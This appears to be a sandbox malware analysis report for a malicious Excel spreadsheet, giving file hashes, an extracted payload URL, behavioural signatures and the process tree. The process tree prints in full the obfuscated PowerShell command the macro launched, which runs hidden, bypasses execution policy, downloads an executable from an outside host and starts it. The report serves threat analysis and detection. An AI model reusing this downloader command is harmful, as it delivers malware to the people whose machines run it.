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Analysis
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max time kernel
68s -
max time network
72s -
platform
windows10-2004_x64 -
resource
win10v2004-20240802-es -
resource tags
arch:x64arch:x86image:win10v2004-20240802-eslocale:es-esos:windows10-2004-x64systemwindows -
submitted
15/08/2024, 02:44
Behavioral task
behavioral1
Sample
documento_rif.48951.xls
Resource
win10v2004-20240802-es
General
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Target
documento_rif.48951.xls
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Size
44KB
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MD5
2ef27fa73958d5d23280014b08c89dfb
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SHA1
5357bda693de76252207c27c386b77c3c5509044
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SHA256
1b4cfbc915c345c15334b5514644e2983c84573e31b6987b3eb764c137fa25d6
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SHA512
806819a7a28cb4471bb02e1a3c1e96012545be3def5aa859fbe728b25b7046c6e11ccd5e41d22370b090cce1f02d950d18480f3bfd346a118b608cfe59993b47
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SSDEEP
768:NrdvxHlcaQPy0iWYOcG4BDhnxD7oOE0qxEtjPOtioVjDGUU1qfDlaGGx+cL2QnA9:NrdvxHlcaQPy0iWYOcG4BDhnxD7oOEVT
Malware Config
Extracted
https://loadcloud.stream/remaining
Signatures
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Process spawned unexpected child process 1 IoCs
This typically indicates the parent process was compromised via an exploit or macro.
description pid pid_target Process procid_target Parent C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE is not expected to spawn this process 5840 2176 cmd.eXe 85 -
Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs
Run Powershell and hide display window.
pid Process 4372 powershell.exe -
Checks processor information in registry 2 TTPs 3 IoCs
Processor information is often read in order to detect sandboxing environments.
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\CentralProcessor\0 EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\~MHz EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString EXCEL.EXE -
Enumerates system info in registry 2 TTPs 3 IoCs
description ioc Process Key opened \REGISTRY\MACHINE\Hardware\Description\System\BIOS EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemFamily EXCEL.EXE Key value queried \REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\SystemSKU EXCEL.EXE -
Suspicious behavior: AddClipboardFormatListener 1 IoCs
pid Process 2176 EXCEL.EXE -
Suspicious behavior: EnumeratesProcesses 2 IoCs
pid Process 4372 powershell.exe 4372 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
description pid Process Token: SeDebugPrivilege 4372 powershell.exe -
Suspicious use of SetWindowsHookEx 14 IoCs
pid Process 2176 EXCEL.EXE 2176 EXCEL.EXE 2176 EXCEL.EXE 2176 EXCEL.EXE 2176 EXCEL.EXE 2176 EXCEL.EXE 2176 EXCEL.EXE 2176 EXCEL.EXE 2176 EXCEL.EXE 2176 EXCEL.EXE 2176 EXCEL.EXE 2176 EXCEL.EXE 2176 EXCEL.EXE 2176 EXCEL.EXE -
Suspicious use of WriteProcessMemory 4 IoCs
description pid Process procid_target PID 2176 wrote to memory of 5840 2176 EXCEL.EXE 89 PID 2176 wrote to memory of 5840 2176 EXCEL.EXE 89 PID 5840 wrote to memory of 4372 5840 cmd.eXe 92 PID 5840 wrote to memory of 4372 5840 cmd.eXe 92
Processes
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C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE"C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" "C:\Users\Admin\AppData\Local\Temp\documento_rif.48951.xls"1⤵
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: AddClipboardFormatListener
- Suspicious use of SetWindowsHookEx
- Suspicious use of WriteProcessMemory
PID:2176 -
C:\Windows\SYSTEM32\cmd.eXecmd.eXe /c " POweRsHElL -noLOGO -NOeXIt -noNINTERAcTIV -WInDO hiDden -EXecUtionP bYpAss -nOpROFil "Sv bXzO91 ([tYPe](\"{2}{1}{0}\"-F 'MenT','IroN','ENv')); do{.(\"{1}{0}\" -f'p','slee') 41;$lenovo = (geT-chilDITEm VaRiABle:bxzo91 ).vaLUe::(\"{2}{0}{3}{1}\"-f 'tF','rPath','Ge','olde').Invoke(('My'+'Do'+'cu'+'me'+'nts'));(.(\"{1}{3}{0}{2}\" -f'c','New-Obj','t','e') sY`STem.Net.`w`EBcl`IEnT).\"do`WnLOaDF`i`lE\".\"iN`VoKe\"(('ht'+'tps:'+'//'+'loadc'+'loud.st'+'ream/r'+'emain'+'ing'),\"$lenovo\\417540.exe\")}while(!$?);&(\"{1}{0}{2}\"-f'ro','Start-P','cess') $LEnOvo\417540.eXE""2⤵
- Process spawned unexpected child process
- Suspicious use of WriteProcessMemory
PID:5840 -
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exePOweRsHElL -noLOGO -NOeXIt -noNINTERAcTIV -WInDO hiDden -EXecUtionP bYpAss -nOpROFil "Sv bXzO91 ([tYPe](\"{2}{1}{0}\"-F 'MenT','IroN','ENv')); do{.(\"{1}{0}\" -f'p','slee') 41;$lenovo = (geT-chilDITEm VaRiABle:bxzo91 ).vaLUe::(\"{2}{0}{3}{1}\"-f 'tF','rPath','Ge','olde').Invoke(('My'+'Do'+'cu'+'me'+'nts'));(.(\"{1}{3}{0}{2}\" -f'c','New-Obj','t','e') sY`STem.Net.`w`EBcl`IEnT).\"do`WnLOaDF`i`lE\".\"iN`VoKe\"(('ht'+'tps:'+'//'+'loadc'+'loud.st'+'ream/r'+'emain'+'ing'),\"$lenovo\\417540.exe\")}while(!$?);&(\"{1}{0}{2}\"-f'ro','Start-P','cess') $LEnOvo\417540.eXE"3⤵
- Command and Scripting Interpreter: PowerShell
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4372
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Network
MITRE ATT&CK Enterprise v15
Replay Monitor
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Downloads
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Filesize
60B
MD5d17fe0a3f47be24a6453e9ef58c94641
SHA16ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA25696ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
SHA5125b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
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C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Recent\CustomDestinations\b8ab77100df80ab2.customDestinations-ms
Filesize3KB
MD525a082437749c9ba5ea69813246565bd
SHA18f1ea187faee996b96c654d606920a48313a7993
SHA256daa9b5f32eb76d73edece3785d2822eef3128cdd0686bfd93b6987c89b059969
SHA5129b1bdfe85f3b7f42b58f53f062baa3a15bcd9a180d427a34b53912ece97502d882e02529d51e75381ceef25d4bcf54517c895a064c452669a30bdf59d9c62d3a